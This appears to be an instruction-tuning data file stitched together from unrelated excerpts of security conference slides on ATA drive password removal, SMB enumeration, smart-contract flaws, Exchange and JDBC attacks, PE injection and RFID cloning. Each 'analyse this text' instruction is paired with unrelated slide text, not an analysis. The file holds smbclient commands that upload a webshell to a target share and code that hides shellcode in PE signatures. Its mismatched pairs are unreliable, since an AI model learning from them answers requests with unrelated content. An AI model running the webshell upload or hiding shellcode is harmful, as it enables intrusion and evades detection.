止，並提示 錯誤訊息，如 Xbox 1 一代的 8 GB Seagate 硬碟就
啟用 ATA 加密，在一般電腦上必須解密才可使用。
8
解開 ATA 加密硬體設備
使用昂貴幾十萬的設備處理如 ACELab PC3000 UDMA
Acelab 由俄國Таганрогского 無線電工程學院 ТРТИ
教授於1991成立，為最早逆向工程硬碟指令公司
並推出各種Data Recovery領域套裝設備。
9
可以一般軟體解開 未知ATA 加密
一. 需要能直接發送ATA Command .HBA
需要關掉AHCI 模式.建議最好用IDE 硬碟介
面控制卡.
二.軟體使用Victoria for windows+MHDD
in dos可直接發送ATA Command 指令
10
在MHDD下 顯示 硬碟已
被加密
解開 ATA 加密
11
執行如圖ATA Command 指令集
 產生出 21.bin 及 22.bin 兩個檔案此為硬
碟模塊檔
解開 ATA 加密
12
解開 ATA 加密
用 UltraEdit 打開22.bin
13
一，密碼起始位置可能不同，但排列與長度
是相似.
二，0x137 偏移位置 07指出 ATA 加密等級
三，紅色區域為User Password使用者密碼
四，綠色區域為Master Password主密碼
五，選擇紅色+綠色區域並另存檔案.
六，執行 Victoria in Windows
解開 ATA 加密
14
必需以PIO方式連接硬...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hardware Black Magic:
Building devices with FPGAs
Dr. Fouad Kiamilev, Professor
CVORG Labs
Electrical and Computer Engineering
University of Delaware
http://cvorg.ece.udel.edu
Updated Slides
and Video
Updated slides as well as video
tutorials will be available after the
conference on our website at
http://www.cvorg.ece.udel.edu
Also during our talk, to keep things
interesting during compilation we will
be giving away swag in an attempt to
keep you interested. See the slides
towards the end for details.
What is CVORG?
From “Dela-where?”
Operate like a Pirate Ship, sailing where our
curious minds take us!
Interests in reverse engineering, custom
hardware, red-teaming, security (especially
hardware), networking, high speed
communications, you name it, we love doing it!
The Jack-of-all trades research group!
What are FPGAs
Field-programmable gate arrays contains logic blocks
that can reconﬁgured
This allows a FPGA to be any moderately complex
embedded device
FPGA design tools cover the entire range of hardware
and software design.
For example, in the Xilinx world the ISE is mainly
where you write HDL and the EDK is where you can
write C.
Hardware
While it can be scary, it should be embraced
and not avoided
For every software, there is hardware
behind it
Why spend hours hacking ﬁrmware to do
what you want - make a device do it for you!
Embedded Design
Physical Layout and Interconnects
Functional Hardware Units
Interconnects and controllers
Operating System
Software
Choices for Digital
System Development
Processor?
Easy to write code, expensive chips, ok performance,
power hungry
Gate Array (ASIC)?
 Very high performance, low power, very hard to
design, expensive to manufacture
Field-Programmable Gate Array?
no manufacturing needed (just program), easier to
design than ASIC, high performance, lower power
What uses FPGAs?
Set-Top Boxes
Printers
Networking Equipment
Large Integrated Systems
FPGA’s Advantage:
Application speciﬁc speed
802.11 key c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

协议版本
使用该协议的Windows 版本
SMB1.0
Windows 2000、Windows XP、Windows Server 2003 和Windows Server 2003
R2
SMB2.0
Windows Vista 和Windows Server 2008
SMB2.1
Windows 7 和Windows Server 2008 R2
SMB3.0
Windows 8 和Windows Server 2012
SMB.3.02
Windows 8.1 和Windows Server 2012 R2
SMB
3.1.1
Windows 10 和Windows Server 2016
T1051: Shared Webroot
笔者查看 Mitre ATT&CK T1051时，发现该技术已被弃用，即该项技术已过时，没有在野使用的
案例。
问了下@九世，靶机中这种情况很多，所以还是记录下。
简单概括为使用smbclient 上传webshell。
番外篇——SMB
既然接触的SMB，笔者就找了SMB相关的资料看了下，这个服务太常见了，以至于内网很多脆弱点都是
靠它打开的。
SMB（Server Message Block）作为一种应用层协议，历史比我们想象的更久远，我猜看到这篇笔记的
人都没SMB的年龄大（Barry Feigenbaum最初于1983年初在IBM设计SMB ,是一种文件共享协议，此
为SMB1）。
1996年，Microsoft 在 Windows NT 4.0 实现了 SMB1 ，即为CIFS ，注意，大多数时候，更愿意叫做
SMB。
简要的列举下Windows 的SMB 版本：
  在各种SMB资料中，你会频繁的看到一个协议：NetBIOS 协议。
smbclient -L //192.168.3.71 -U 0day/jerry%Admin12345  #列出共享
smbclient //192.168.3.71/wwwroot -U 0day/jerry
smb: \> put /usr/share/webshells/aspx/cmdasp.aspx c.aspx #交互式的shell上传文件
smbclient {{//server/share}} --directory {{path/to/directory}} --command "put
{{file.txt}}"
smbclient //192.168.3.71/wwwroot -U guest%"" --command="put
/home/kali/webshell.aspx webshell.aspx"  #密码为空，如要目标文件夹Everyone 用户具有读
写权限
#访问 http://192.157.3.71/webshell.aspx 即可
我这里说的NetBIOS 协议 指的是Windows 下的 NetBIOS over TCP(简称NBT)协议,实际上
NetBIOS 是一种局域网中的API ,没有定义协议，TCP/IP 上的NetBIOS 通过TCP/IP协议提供了
NetBIOS  API
简要的说下重点：
基于TCP 的NetBIOS 使用用以下端口
可在 本地连接——属性——TCP/IPv4——属性——高级——WINS——禁用TCP/IP 上的NetBIOS  关闭
NetBIOS 协议在Windows 上的实现为 NetBios Name Service （NBNS），显示名称为 TCP/IP
NetBIOS Helper ,服务名称为 lmhosts
和Hosts 文件类似，存在LMhosts 文件，在Windows 中路径
是 %Systemroot%\System32\Drivers\Etc\lmhosts.sam ，Linux中在samba configs目录中，
一般是 /etc/samba 或 /usr/local/samba/lib
WINS(Windows Internet Name Service)可以将NetBIOS 名称解析为对应的IP地址（和DNS有些
区别），为了解决NetBIOS 名不可路由而出现。
又说了一堆废话,大家理解其中的关键就好。
SMB 枚举
参考：
A Little Guide to SMB Enumeration
使用的一些工具：
Nmblookup
nbtscan
SMBMap
Smbclient
Rpcclient
Nmap
Enum4linux
Crackmapexec
Nmblookup
nbname            137/UDP
nbname            137/TCP
nbdatagram        1...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Beat to 1337
Mike Arpaia & Ted Reed
Creating A Successful University Cyber Defense Organization
(Note: slide text will be mostly replaced by images during
the presentation, this deck is designed as a handout)
This presentation...
Will show you a five step program to:
1. Plan! - make a goal for yourself and your university
2. Recruit! - reach out to the campus, find interested parties
3. Organize! - gather resources, don't sulk over no budget
4. Learn! - understand everyone's skills, abilities, and interests
5. Play! - compete, join a competition, start evaluating your
skills
...And we'll give out prizes!
         So try to be involved!
Problem
● Everyone wants to be a hacker but you're not going to learn
how to hack in "Theoretical Computer Science 101"
● Even in information assurance classes, often times the
subject matter is so high-level that you can't really get
anything (practical) out of it...
● You may not have enough information security knowledge
to walk up and be a pen-tester or researcher
● You may not know enough people to make a team
Our solution!
● We compiled data about past competitions for you to use,
learn from, and ramp up your team to compete this coming
year!
● We compiled a detailed guide from what we've learned and
professionals we've sought advice from!
● We modified a collaboration software solution to help
students play, organize and participate in CTFs!
○ We recommend a hardware solution to complement
○ Plan to distribute the software as an ISO image
What's in the Data?
● What we did and what works
○ Don't reinvent the wheel... we did it for you
●  How to stop complaining about the things that are holding
you back and start owning some n00bs!
●  Tips on how to organize, educate and motivate a team of
lazy college kids
● A calendar of national and international CTF-style
competitions that you and your team can compete in!
What's in the Guide?
● Chapters and lesson plans on a wide range of information
security topics includ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

互联网企业安全建设实践
北京站/3.29
靳晓飞
VIPKID安全中心
从这里说起
互联网企业安全建设整体思路
互联网企业面临安全挑战分析
互联网企业核心安全目标
互联网企业核心安全能力建设与提升
互联网企业整体安全视角
互联网企业基础安全体系建设框架
互联网企业安全建设蓝图
互联网企业安全建设如何落地实施
分阶段安全体系建设
如何评价企业安全建设的效果
基础安全全链路纵深防御架构
API 安全监控实践
需要对哪些API进行安全监控？
• 注册接口
• 登录接口
• 找回密码接口
• 订单详情接口
• 收货地址接口
• 其他所有可能会被刷的API
安全监控目标设定
• 具备对高风险API被刷的分钟级主动发
现和感知能力，并可与安全防御系统
联动，实现自动化安全防护
技术上如何实现
• 流量分析
• 日志分析
API 安全监控实践
API 安全监控实践
Github安全监控实践
Github安全监控实践
项目地址：https://github.com/VKSRC/Github-Monitor
做好企业安全建设的必要条件
写在最后
“未知攻，焉知防”，网络攻防对抗本质上是人与人之间的较量，在安全建
设和安全运营过程中企业安全人员不能仅限于被动防御，还需要积极转变思
路，以攻击者视角来看待和审视安全风险，做到攻防兼备，化被动为主动。
Thanks


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

This talk is not about LTE
vulnerabilities
No cables
Why isn’t it
working?
Scared Poopless – LTE
and *your* laptop
Disclaimer:
During the slides you will be exposed to hacker stock
photos from the internet.
Thank you!
Goldy
aSmig
@octosavvi
Intel Security would like to acknowledge and thank the
Huawei PSIRT team  for their responsiveness and cooperation
on this issue.
• CVE-2015-5367: Insecure Linux Image in Firmware
• CVE-2015-5368: Insecure Firmware Update Authentication
http://huawei.com/en/security/psirt/security-
bulletins/security-advisories/hw-446601.htm
DEMO
What did I just see?
This is not a                problem
Remember kids!
This is why you should do
secure firmware updates
NEVER FORGET
Adam Caudill
Brandon Wilson
Who are we?
@jessemichael
@laplinker
Background
• Internal LTE/3G modems and who uses them?
I like to use my
own keyboard
• Internal LTE/3G modems and who uses them?
• Business class devices
I think I have an
idea!
• Internal LTE/3G modems and who uses them?
• Business class devices
• How is it plugged in anyway?
Card against
humanity 2015
world champion
• Internal LTE/3G modems and who uses them?
• Business class devices
• How is it plugged in anyway?
• Internal LTE/3G modems and who uses them?
• Business class devices
• How is it plugged in anyway?
PCIe ×2, SATA, USB 2.0 and 3.0,
Audio, PCM, IUM, SSIC and I2C
I forgot mac’s don’t have a CD drive
anymore
• Internal LTE/3G modems and who uses them?
• Business class devices
• How is it plugged in anyway?
• USB?!
Crap! I just
stabbed my usb
thumb drive!
• Internal LTE/3G modems and who uses them?
• Business class devices
• How is it plugged in?
• USB?!
• Why hack this device anyway?
Respect the
gas/ski
mask
Background
• Internal LTE/3G modems and who uses them?
• Business class devices
• How is it plugged in?
• USB?!
• Why hack this device anyway?
• Module available worldwide
• It’s plugged in [INSIDE] your laptop/tablet
• Software
• Firmware
• Hardware
• Software
• Windows ut...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

智能合约安全开发
Ali0th
Email ：martin2877@foxmail.com
智能合约安全开发
1. 相关概念
2. 安全事件
3. 审计之路
4. 常见漏洞
5. 常用工具
智能合约
智能合约（Smart Contract）是以太坊中最为重要的一个概念，即以计
算机程序的方式来缔结和运行各种合约。最早在上世纪 90 年代，Nick
Szabo 等人就提出过类似的概念，但一直依赖因为缺乏可靠执行智能合约的
环境，而被作为一种理论设计。区块链技术的出现，恰好补充了这一缺陷。
以太坊支持通过图灵完备的高级语言（包括 Solidity、Serpent、Viper）
等来开发智能合约。智能合约作为运行在以太坊虚拟机（Ethereum Virual
Machine，EVM）中的应用，可以接受来自外部的交易请求和事件，通过触
发运行提前编写好的代码逻辑，进一步生成新的交易和事件，可以进一步调
用其它智能合约。
智能合约
智能合约
智能合约
Smart Contract
智能合约
DApp
安全事件
The DAO 漏洞
以太坊短地址漏洞
wallet contract奇偶校验破解
Parity多重签名钱包提款漏洞
HTTP RPC API 漏洞
Parity多重签名钱包合约漏洞
以太坊编程语言Solidity漏洞
智能合约Fallback函数
智能合约递归调用（recursive）
调用深度限制（call depth）
太阳风暴
以太坊浏览器 Mist
区块节点漏洞
日食攻击（eclipse attack）
Geth客户端DoS攻击漏洞
浪子合约漏洞
自杀合约漏洞
贪婪合约漏洞
遗嘱合约漏洞
交易顺序依赖性
时间戳依赖性
挖矿中心化
BEC/SMT 智能合约无限转币漏洞
审计之路
如何从零上手新的代码语言进行审计？
审计之路
如何从零上手新的代码语言进行审计？
常规：开发过程->基本语法->深入语法->漏洞类型->工具利用->开始审计
弯道超车：语法->漏洞类型->文本直接审计
审计之路
如何从零上手新的代码语言进行审计？
常规：开发过程->基本语法->深入语法->漏洞类型->工具利用->开始审计
Remix-ide
Pet-shop
DASP
Ethereum Smart Contract Best Practices
Solidity
常见漏洞
- Arithmetic Issues 计算问题
- Integer Overflow 整形上溢
- integer underflow 整形下溢
- Race Condition 条件竞争
- Re-Entrancy 可重入性 (同函数条件竞争)
- Cross-function Race Conditions 跨函数条件竞争
- Carelessness 粗心
- Missing Constructor 构造函数缺失
- Wrong Interface 错误接口
- Code Logic Issues 代码逻辑问题
- Unchecked External-Call 未经核查的外部调用
- Unprotected Function 未受保护函数
- Use tx.origin for authorization 使用tx.origin做认证
- Time manipulation 时间操纵
- Timestamp Dependence 时间戳依赖
- Access Control 访问控制
- delegatecall 使用delegatecall
- Bad Randomness 随机数问题
- Using block variables 使用区块变量
- Blockhash 使用区块哈希值
- Private Seed 使用私有种子
- front-running 抢先交易
- Forcibly Sending Ether to a Contract 强制向合约转账
- Denial of Service 拒绝服务
- DoS with (Unexpected) revert 恢复交易拒绝服务
- DoS with Block Gas Limit  Gas耗尽拒绝服务
- unexpected throw 意外报错
- unexpected kill 意外自杀
- access control breached 突破访问控制
- Front Running 抢先交易
- time-of-check vs time-of-use (TOCTOU)
- race condition
- transaction ordering dependence (TOD)
- Short Address Attack 短地址漏洞
常见漏洞
Fallback
1 无参数，不返回值。
2 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

An Inside Look Into Defense
Industrial Base (DIB) Technical
Security Controls:
How Private Industry Protects Our Country's Secrets
James Kirk
Outline
• Background
• DOD Agency Responsible for Interpretation and
Enforcement
• Security Control Development
• Document Drafting and Approval
• Testing of Security Controls
• Enforcement
• The fun stuff… gaps in security controls
Background/Disclaimer
• What kind of data are we talking about?
• National Industrial Security Program (NISP) Executive
Order 12829 1.
• National Industrial Security Program Policy Advisory
Committee (NISPPAC)
• National Industrial Security Program Operating Manual
(NISPOM)
1. DoD 5220.22-M “National Industrial Security Program: Operating Manual.”
DOD Agency Responsible for
Interpretation and Enforcement
• The Defense Security Service (DSS)
• Agency Structure
• Directorates (IS, CI, DISCO, and CDSE)
• ODAA
• Field Offices
Basics of Certification and
Accreditation (C&A)
• What is C&A? 1., 2.
• Certification
• Accreditation
• ISSP role
• RDAA role
• Enough background on the DSS, lets get into security
controls
1. Industrial Security Field Operations (ISFO) Process Manual for the
Certification and Accreditation Of Classified Systems under the National
Industrial Security Program Operating Manual (NISPOM) and NIST 800-53.
2. Master System Security Plan (MSSP) Template for Peer-to-Peer Networks.
Security Controls
• Where do they originate
from?
• Linux controls 1.
• Audit Areas
1./bin
2./usr/bin
3./etc
4./sbin
5./usr/sbin
6./var/audit
7./usr/local
8./opt
9./home
1. ISL 2007-01
Security Controls cont.
• Linux cont. 1., 2.
• DISA STIG vs NISPOM/DSS ISL
1. Standardization of Baseline Technical Security Configurations.
2. UNIX: Security Technical Implementation Guide.
DISA STIG
DSS NISPOM/ISL
The SA will ensure audit data files have
permissions of 640, or more restrictive.
(2) Audit Trail Protection. The contents of audit trails
shal...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
2
Public safety may be an obscure, public-sector part of the telecom/tech crowd, but
“the crowd” is actually quite sophisticated.
We consulted with members of the standards community before attempting these
attacks to determine what attack surfaces they deemed most vulnerable.
After completing our in-lab research, we disclosed a summary of our findings to
members of NENA’s Development Steering Council.
3
Despite the addition of a few new originating network types in the last 20-25 years, 9-
1-1 remains largely a product of the telephone age, not the computer age. (And
definitely not the Internet age!)
4
In the beginning, the Bell System created the PSTN, and the trust model was void, and
without form – because they were THE PHONE COMPANY, damnit!
The network structure (and law) made trust implicit: Physical connections between
parties, plus an (mostly) separate control plane meant calls generally went where
intended, unmolested.
Generally, confidence was high that the called party was the party intended.
Until the rise of the telephreaks!
Jon Draper, AKA “Cap’n Crunch” found a 2600Hz whistle in a box of…Cap’n Crunch, and
changed the world.
An array of colorful boxes were soon developed by enterprising telephreaks around the
world.
Despite this, the public generally retained high confidence in the integrity and
confidentiality of their phone calls.
5
When “Dial Service” began, each police, fire, and ambulance service had its own 7-digit
local number.
Many local governments distributed stickers that listed the numbers for their local
services.
Consumers could place these on the backs of their telephone receivers, so that the
numbers would be near-to-hand, if an emergency arose.
Dialing these digits took time, however, and the numbers varied from place to place,
and even within different police precincts or fire service zones within a single city or
county.
6
In the mid-’60s, the National Association of Fire Engineers (now the International
Associatio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

听说你在⽤SigFlip在PE签名⾥嵌⼊
shellcode？
-- 副标题: 检测SigFlip在PE的签名⾥嵌⼊的shellcode，以及嵌⼊⽅法改进
# 前⾔
之前看到 @w8ay 实现的⽩加⿊⽣成器，就感觉这个做法⾮常的棒，但是 SigFlip  的做法
真的隐蔽吗？真的不容易被查杀吗？
刚好最近在研究PE的⽂件签名结构和签名，那今天就详细讲解⼀下签名相关的内容，以及如
何改进 SigFlip 实现更深层次的隐藏。
# 原理回顾
对原理⽐较了解的直接跳过这⼀节。
看⼀下微软给的PE⽂件的签名的结构，这⼀张图⾮常的经典，但是这只是⼀个微软签名省略
了⼤部分细节的概括图，但是有助于我们了解⼀些最基本的信息。
⾸先可以看到图中灰⾊区域标注的内容是不参与⽂件签名hash计算的，并且可以看
到 Attribute Certificate table 的位置是由 PE头中的 Data Directories 中某⼀项指
定的， Data Directories 共有16项，每⼀项的结构都是：
总共8个字节，指定了对应的数据在⽂件中的偏移以及⼤⼩。 Data Directories 的Security
项就指向了其签名数据。
签名数据的数据结构是：
dwLength： 表明签名的数据的总体⼤⼩，⼀般是等于 _IMAGE_DATA_DIRECTORY  的size
字段。
·wRevision：表明当前签名信息的版本。
wCertificateType：指定接下来的签名的类型
bCertificate：Byte数组，存储的就是签名的具体数据。
最值得注意的是 bCertificate 的字节⼤⼩要求8字节对齐。
SigFlip的代码实现
从上⾯分析的不参与⽂件校验的部分可以得知，只有 _WIN_CERTIFICATE 部分是可以⽤来隐
藏数据的，具体我们直接看SigFlip的代码实现。
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
1
2
3
4
typedef struct _WIN_CERTIFICATE {
    DWORD       dwLength;
    WORD        wRevision;
    WORD        wCertificateType;   // WIN_CERT_TYPE_xxx
    BYTE        bCertificate[ANYSIZE_ARRAY];
} WIN_CERTIFICATE, *LPWIN_CERTIFICATE;
1
2
3
4
5
6
⾸先获取到 _WIN_CERTIFICATE 的位置和⼤⼩，然后把数据padding到签名中，并扩充为8字
节对齐，最后更新PE⽂件的checksum和 _WIN_CERTIFICATE 的⼤⼩。
# 检测⽅法
SigFlip 的检测是⾮常简单，我们抛开插⼊shellcode时的标识起始
字 \xFE\xED\xFA\xCE\xFE\xED\xFA\xCE 不谈，只看插⼊的内容，可以看到 SigFlip 仅
仅修改了 _IMAGE_DATA_DIRECTORY 中的 Size 字段，但是并没有修改 _WIN_CERTIFICATE
中的 dwLength ,两个长度不⼀致就可以很轻易的发现隐藏在签名中的数据：
//Get IMAGE_DIRECTORY_ENTRY_SECURITY field and retrieve the RVA and
SIZE of the Certificate Table (WIN_CERTIFICATE).
  _CertTableRVA =
_optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY +
_DT_SecEntry_Offset].VirtualAddress;
  _CertTableSize =
_optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY +
_DT_SecEntry_Offset].Size;
  _wCert = (LPWIN_CERTIFICATE)((BYTE*)_peBlob + _CertTableRVA);
1
2
3
4
    memcpy((((BYTE*)_peBlob + _CertTableRVA) + _wCert->dwLength),
_rpadding, strlen(_rpadding...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Vulnerability Exchange:
One Domain Account for More Than Exchange Server RCE
Tianze Ding (@D1iv3)
> whoami
•
Tianze Ding (@D1iv3)
–
Senior security researcher at Tencent Security Xuanwu Lab
–
Focusing on Active Directory Security / Red Team / Web Security
–
Reported some vulnerabilities to Microsoft, Apple, Google, etc.
–
Black Hat Asia / Black Hat USA Arsenal speaker
•
Exchange Server Attack Surface Overview
•
From a Domain Account to Arbitrary Mailbox Takeover
•
From a Domain Account to Exchange Server RCE
•
Lateral Movement & Privilege Escalation
•
Conclusion & Takeaways
Agenda
•
One of the most famous mail servers in the world
•
Stores large amounts of sensitive corporate information
–
Emails, attachments, contacts, calendars …
Why Microsoft Exchange Server ?
•
Highly integrated with Microsoft Active Directory
–
Authentication
–
Mailbox / User / Group management
–
Exchange Server configuration
–
…
•
High-privileged AD objects
–
Exchange Servers are installed by Enterprise Admins /
Schema Admins / …
–
The Exchange Windows Permissions group has
WriteDACL right on the Domain object (fixed in 2019)
Why Microsoft Exchange Server ?
[1] https://docs.microsoft.com/en-us/exchange/plan-and-deploy/active-directory/ad-access?view=exchserver-2019
[2] https://docs.microsoft.com/en-us/exchange/plan-and-deploy/deploy-new-installations/install-mailbox-role?view=exchserver-2019
Exchange Server Attack Surface Overview
•
Client Access Services
–
HTTPS endpoints
–
POP3 / IMAP / SMTP
–
Unified Messaging
•
HTTPS endpoints
–
OWA, ECP
–
RPC, EWS, MAPI, API,
ActiveSync, PowerShell, Auto
Discover, OAB
Architecture and Attack Surface
•
Most historical vulnerabilities exist in ASP.NET code running on IIS Server
Historical Vulnerabilities
IIS Server
POP3
Exchange Server
RPC
ECP
OWA
EWS
MAPI
API
Active
Sync
Power
Shell
Autodi
scover
OAB
Front End
HTTP
Proxy
IMAP
SMTP
UM
Architecture and Attack Surface
POP3
IMAP
SMTP
UM
IIS Server
Windows Server
Exchange Server
…
Exchange Server
Exchange Serv...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Make JDBC Attack Brilliant Again
Xu Yuanzhen(  @pyn3rd)
Chen Hongkun(  @Litch1)
1.The derivation of JDBC attacking
2.In-depth analysis of occurred implementations
3.Set fire on JDBC of diverse applications
Agenda
Agenda
1.The derivation of JDBC attacking
2.In-depth analysis of occurred implementations
3.Set fire on JDBC of diverse applications
Agenda
Agenda
Java Database Connectivity
JDBCMysqlImpl
MySQL
JDBC
JDBCOracleImpl
JDBCSQLServerImpl
JDBCDB2mpl
Oracle
MsSQL
DB2
JDBC Driver
Standard Interface
Callback
Java Application
Not Recommended
Unportable
Callback
set evil JDBC URL
establish JDBC connection
execute payload with JDBC driver
Controllable JDBC URL
Class.forName(" com.mysql.cj.jdbc.Driver");
String url = "jdbc:mysql://localhost:3306/demo"
Connection conn = DriverManager.getConnection(url)
1.The derivation of JDBC attacking
2.In-depth analysis of occurred implementations
3.Set fire on JDBC of diverse applications
Agenda
Agenda
MySQL client arbitrary file reading vulnerability
• Affect many clients including JDBC driver
• LOAD DATA INFILE statement
establish JDBC connection
greeting packet
query packet
file transfer packet
Server
Client
MySQL JDBC client deserialization vulnerability
establish JDBC connection
read evil object from server
deserialize evil object
• Affected MySQL JDBC driver need to support specific properties
• gadgets are necessary
Server
Client
MySQL Connector/J – CVE-2017-3523
MySQL Connector/J offers features to support for automatic serialization and
deserialization of Java objects, to make it easy to store arbitrary objects in the
database
• The flag "useServerPrepStmts" is set true to make MySQL Connector/J use server-side prepared
statements
• The application is reading from a column having type BLOB, or the similar TINYBLOB, MEDIUMBLOB or
LONGBLOB
• The application is reading from this column using .getString() or one of the functions reading
numeric values (which are first read as strings and then parsed as numbers).
case Ty...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

aaaddress1@chroot.org
Windows Injection  101:
from Zero to ROP
./Bio✨
• ⾺馬聖豪, aaaddress1 aka adr
• Chroot, TDOH
• TDOHConf: 2016 議程組長 & 2017 活動組長
• 精通 C/C++、Windows 特性、逆向⼯工程
• Speaker: HITCON CMT 2015
HITCON CMT 2016 Lightning
SITCON 2016
SITCON 2017
iThome#Chatbot 2017
BSidesLV 2016
ICNC'17
MC2015
CISC 2016
資訊安全基礎技術⼯工作坊
資安實務攻防研習營
⼤大.⼤大.⼤大..⼤大概啦
aaaddress1@chroot.org
#murmur
Some Bullsh*t after I submit this session
aaaddress1@chroot.org
Amazing!
aaaddress1@chroot.org
cfp2017.hitcon.org
“六、欲投稿者請於 2017 年年 7 ⽉月 14 ⽇日前，⾄至⼤大會投稿
系統 ( https://cfp2017.hitcon.org ) 註冊並上傳稿件，俾
利利議程委員審核，審核順序以投稿時間先後為準，如已
達本屆所需論⽂文數量量，⼤大會得提前截稿，故請儘速完成
投稿程序。”
aaaddress1@chroot.org
2017/7/18?
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
aaaddress1@chroot.org
議程中請不要睡著 我也很想睡
請踴躍舉⼿手發⾔言 說好不插嘴的！
請勿吸菸、抽⼤大⿇麻、跑百米賽跑、玩碟仙、摸八圈、
跳八家將、炸鹽酥雞、到我背後抓寶、問我會不會FreeStyle
./CoC
@Loki the Corgi
aaaddress1@chroot.org
Evolution Of Malware
Long Story About How Malware Against AntiVirus
aaaddress1@chroot.org
R3m0t3-C0ntr0l;H4ck;C&C;
B4ckdo0r;Sh311;B0tn3t;K3y
l0gger;Ma1ware;Ro0t;W0rm;
Zer0-D4y;Trojan;Exp10it;H
4ck;$cript;Packet;Cr4ck;R
4T;$ecuri7y;vu1ner4bi1i7y
4dmini$tr4t0r;Byp4$$ing;=
Hacker Friendly World
aaaddress1@chroot.org
until AntiVirus;
aaaddress1@chroot.org
PE (Portable Executable);
aaaddress1@chroot.org
Virus Signature;
aaaddress1@chroot.org
PE (Portable Executable);
aaaddress1@chroot.org
DOS Header
⬅DOS Program
⬅NT Header
⋯⋯
PE
File Header
Optional Header
aaaddress1@chroot.org
DOS Header
⬅DOS Program
⬅NT Header
⋯⋯
1. DOS Header starts with 'MZ'

2. *(DWORD *)((DOS Header + 0x3c)
point to NT Header
PE
File Header
Optional Header
File Header is also referred to
as COFF header.
Records NumberOfSections,
TimeDateStamp,SizeOfOptionalHeade
r, etc.
aaaddress1@chroot.org
Optional Header
typedef'struct'_IMAGE_OPTIONAL_HEADER'{'
''WORD'''''''''''''''''Magic;'
''BYTE'''''''''''''''''MajorLinkerVersion;'
''BYTE'''''''''''''''...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HOW
  TO
  TRAIN
  YOUR
RFID
  HACKING
  TOOLS
By
  Craig
  Young
Security
  Researcher
Tripwire
  VERT
HOW
  TO
  TRAIN
  YOUR
  RFID
  HACKING
  TOOLS
Table
  of
  Contents
Introduction
  .....................................................................................................................................................................
  3
RFID
  At
  A
  Glance
  .............................................................................................................................................................
  4
What
  is
  an
  RFID
  Tag
  ...................................................................................................................................................................
  4
Low
  Frequency
  Cloning
  (T55x7)
  ...........................................................................................................................................
  5
High
  Frequency
  Cloning
  ............................................................................................................................................................
  6
Introducing
  the
  Proxmark3
  (pm3)
  ..........................................................................................................................
  7
Proxmark3’s
  FPGA
  ......................................................................................................................................................................
  7
Proxmark3’s
  CPU
  ........................................................................................................................................................................
  8
Proxmark3’s
  ADC
  ........................................................................................................................................................................
  9
Proxmark3’s
  Connections
  ..........................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 1
Defending Networks with Incomplete
Information: A Machine Learning
Approach
Introduction and Abstract
Let's face it: we may win some battles, but we are losing the war pretty badly.
Regardless of the advances in malware and targeted attacks detection
technologies, our top security practitioners can only do so much in a 24 hour
day. Even less, if you consider they need to eat and sleep. On the other hand,
there is a severe shortage of capable people to do "simple" security monitoring
effectively, let alone complex incident detection and response.
Enter the use of Machine Learning as a way to automatically prioritize and
classify potential events and attacks as something can could potentially be
blocked automatically, is clearly benign, or is really worth the time of your
analyst.
In this Whitepaper we will present publicly for the first time an actual
implementation of those concepts, in the form of a free-to-use web service. It
leverages OSINT sources and knowledge about the spatial distribution of the
Internet to generate a fluid and constantly updated classifier that pinpoints areas
of interest on submitted network traffic and security tool log sources.
Whitepaper Topics:
Introduction and Abstract .................................................................................................................. 1
Security Monitoring: We are doing it wrong............................................................................. 2
Machine Learning and the Robot Uprising ................................................................................ 2
More attacks = more data = better defenses ............................................................................. 5
Designing a model to detect external agents with malicious behavior ........................ 6
Data Collection ...........................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

haya
ATT&CK红队战术漫谈
◉ haya
◉ 木星安全实验室 · 红队负责人
◉ Github: https://github.com/hayasec
◉ Blog:  hayasec.me
◉ 红蓝对抗与红队武器化
ABOUT ME
今天聊点啥？
ATT&CK与红队攻击战术漫谈
ATT&CK矩阵(站在攻击者的视角来描述攻击中各阶段用到的技术的模型)
初 始
访 问
执 行
攻 击
权 限
维 持
权 限
提 升
防 御
绕 过
凭 据
获 取
数 据
披 露
横 向
移 动
目 标
数 据
收 集
内 网
数 据
窃 出
偷渡式攻击
外部程序攻击
硬件植入
USB复制
鱼叉式附件
鱼叉式钓鱼
供应链攻击
可信关系
有效帐户
……
命令行界面
编译HTML文件
控制面板项
动态数据交换
通过API执行
通过模块加载执行
利用客户端执行
图形用户界面
LSASS驱动
本地作业任务
计划任务
脚本执行
服务执行
签名二进制代理
签名脚本代理执行
文件名后的空格
第三方软件
Trap程序
可信的开发工具
用户执行
WMI
Win远程管理
XSL脚本处理
……
辅助功能
账户操纵
Shimming应用
验证包
BITS任务
浏览器扩展
更改默认文件关联
组件固件
COM劫持
创建账号
DLL顺序劫持
Dylib劫持
外部远程服务
文件系统权限
隐藏文件和目录
挂钩
虚拟机技术
IFEO注入
内核模块和扩展
LSASS驱动
启动Agent
启动守护进程
本地作业调度
……
访问令牌操作
辅助功能
Bypass UAC
DLL搜索劫持
Dylib劫持
漏洞提权
EWM注入
文件系统权限
挂钩
IFEO注入
启动守护进程
新服务
路径拦截
Plist修改
端口监视器
进程注入
SID历史注入
任务计划
服务注册表权限
启动项
Sudo缓存
有效账户
Web Shell
……
账户操纵
Bash历史
暴力破解
凭证转储
文件凭证
注册表凭证
凭证漏洞利用
强制认证
输入捕获
输入提示
LLMNR投毒
